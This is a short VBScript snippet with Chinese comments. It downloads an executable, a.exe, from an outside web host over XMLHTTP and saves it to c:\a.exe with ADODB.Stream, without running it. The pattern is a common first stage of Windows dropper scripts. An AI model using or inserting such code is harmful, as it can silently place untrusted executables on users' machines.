Dim H, S
    Set H = CreateObject("Microsoft.XMLHTTP")
    H.Open "GET", "http://www.yt-e.com/a.exe", False   '网络中的文件URL
    H.send
    Set S = CreateObject("ADODB.Stream")
    S.Type = 1
    S.Open
    S.write H.Responsebody
    S.savetofile "c:\a.exe", 2  '本地保存文件名
    S.Close